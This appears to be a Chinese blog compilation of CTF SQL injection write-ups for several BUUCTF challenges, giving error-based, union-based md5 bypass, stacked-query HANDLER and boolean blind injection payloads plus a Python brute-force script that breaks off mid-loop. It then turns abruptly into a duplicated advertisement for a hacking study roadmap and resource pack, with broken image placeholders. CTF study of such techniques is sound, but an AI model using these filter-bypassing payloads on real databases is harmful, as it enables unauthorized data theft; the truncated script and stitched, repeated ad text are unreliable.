2024年最新CTF Web SQL注入专项整理(持续更新中)_ctf sql注入,一文轻松搞定

2401_84973202 2024-07-12 08:33:01 阅读 71

使用right()突破字符限制

<code>1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:

<code>flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制

这两种函数大同小异,不再赘述

当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以

大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#

image.png

image.png

<code>1'or(extractvalue(1,concat(0x7e,(select(database())))))#

image.png

image.png

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

<code>1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

image.png

<code>1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

image.png

<code>1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

image.png

使用right()突破字符限制

<code>1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

image.png

拼接得到最终flag:

<code>flag{389c9161-c2eb-403a-8062-80f219ca1c30}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞
【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境

image.png

burp抓包

随便输入值

image.png

repeater放包

image.png

在注释那里发现某种编码

<code>MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式

通过测试发现是套加密(二次加密)

首先使用base32对此编码进行解码

base32解码

image.png

<code>c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码

image.png

得到一段SQL查询语句

<code>select * from user where username = '$name'

通过对这段SQL语句的初步判断

可以得出此题的注入点是参数name

判断注入类型

1

123

image.png

1’

123

image.png

发生报错

可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1

123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin

密码暂且还不知道

判断字段数

1’ union select 1,2#

123

image.png

1’ union select 1,2,3#

123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#

123

image.png

1’ union select 1,‘admin’,3#

123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码

image.png

在search.php源代码哪里发现关键代码

image.png

<code>if($arr[1] == "admin"){

if(md5($password) == $arr[2]){

echo $flag;

}

else{

die("wrong pass!");

}

}

发现参数password被md5加密

看着和之前做过的题很类似

大致就是传进去的值要进行md5值加密

换种方式猜测

username数据表里面的3个字段分别是flag、name、password。

猜测只有password字段位NULL

咱们给参数password传入的值是123

那么传进去后,后台就会把123进行md5值加密并存放到password字段当中

当我们使用查询语句的时候

我们pw参数的值会被md5值进行加密

然后再去与之前存入password中的md5值进行比较

如果相同就会输出flag

爆flag:

这里pw参数的值为123456

可以随便传

但是要对传入的那个值进行md5值加密

网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#

123456

image.png

得出flag:

<code>flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法
【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境

image.png

判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png

查表

1’;show tables;

image.png

存在FlagHere数据表

极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

image.png

1’ order by 2 – -

image.png

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

image.png

存在flag字段!

查words数据表的字段名

1’;show columns from words;

image.png

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的

后者是通过改表名来获取flag值,但是前者既然放到了后边,应该没有那么容易

猜测修改表名的命令极有可能被过滤了

后者题解非常详细可以看看下面这个链接(同时也包含handler解法!)

https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

image.png

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject);

果不其然改表名的两个关键命令被过滤了

rename和alter

包括查询命令也被过滤了

select

通过handler命令获取flag

select这个查询命令大家都很熟悉

但是我们却忽略了一个也很重要的角色

那就是handler查询命令

虽然handler这个命令不常见

但是它也非常强大

handler命令查询规则

<code>handler table_name open;handler table_name read first;handler table_name close;handler table_name open;handler table_name read next;handler table_name close;

如何理解?

首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。首先打开数据库,开始循环读取,读取成功后进行关闭操作。

构造payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

上传payload

image.png

image.png

得到flag:

<code>flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

布尔盲注
【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

题目环境

image.png

判断注入类型

1

image.png

2

image.png

3

image.png

1’

image.png

输入1’报错提示bool(false)

可知是字符型的布尔注入(盲注)

尝试万能密码

1’ or ‘1’=1

image.png

已检测SQL注入

猜测某些关键字或者字符被过滤

FUZZ字典爆破

image.png

image.png

可以看到部分关键字被过滤,包括空格

All You Want Is In Table ‘flag’ and the column is ‘flag’

Now, just give the id of passage

通过提示可以知道

flag字段在flag数据表里面

布尔注入

布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

布尔盲注

布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。

在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。

在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。

总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

通过脚本爆破flag

<code>import requests

#调用请求模块

import time

#调用时间模块

import re

#调用规则表达式模块

url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'code>

#题目链接

flag = ''

#创建一个变量用来存放flag值

for i in range(1,50):

#for循环遍历,i表示flag值大致长度是50以内

max = 127

#赋值127

min = 0

#赋值0

for c in range(0,127):

#for循环遍历

s = (int)((max+min)/2)

#首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。

payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'

#^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。

#从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))

#将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。

r = requests.post(url,data = {'id':payload})

#requests模块的运用,将payload赋值给题目中这个名为id的参数

time.sleep(0.005)

#每循环一次休眠0.005秒

if 'Hello' in str(r.content):

#如果Hello这个字符串在生成的结果中,那么就继续向下进行

max=s

#将s的值赋值给max

### 如何自学黑客&网络安全

#### 黑客零基础入门学习路线&规划

**初级黑客**

**1、网络安全理论知识(2天)**

①了解行业相关背景,前景,确定发展方向。

②学习网络安全相关法律法规。

③网络安全运营的概念。

④等保简介、等保规定、流程和规范。(非常重要)

**2、渗透测试基础(一周)**

①渗透测试的流程、分类、标准

②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking

③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察

④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

**3、操作系统基础(一周)**

①Windows系统常见功能和命令

②Kali Linux系统常见功能和命令

③操作系统安全(系统入侵排查/系统加固基础)

**4、计算机网络基础(一周)**

①计算机网络基础、协议和架构

②网络通信原理、OSI模型、数据转发流程

③常见协议解析(HTTP、TCP/IP、ARP等)

④网络攻击技术与网络安全防御技术

⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

**5、数据库基础操作(2天)**

①数据库基础

②SQL语言基础

③数据库安全加固

**6、Web渗透(1周)**

①HTML、CSS和JavaScript简介

②OWASP Top10

③Web漏洞扫描工具

④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/9c274274e92e2ac1a0759e7d4f4b1216.png)

![img](https://img-blog.csdnimg.cn/img_convert/11e8252d0cef9d958e975cab4ea83f93.png)

![img](https://img-blog.csdnimg.cn/img_convert/2e37809461b916e48ae90fbd6f1c8361.png)

![img](https://img-blog.csdnimg.cn/img_convert/792d10f9235a061c835f652987ba0353.png)

![img](https://img-blog.csdnimg.cn/img_convert/22992d62e5895d8ce77112966a783665.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

[外链图片转存中...(img-m3ssYmY8-1715438677163)]

[外链图片转存中...(img-BX52UVwm-1715438677164)]

[外链图片转存中...(img-zLxhqQLP-1715438677164)]

[外链图片转存中...(img-9w35nEAb-1715438677164)]

[外链图片转存中...(img-vM8t4cir-1715438677164)]

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。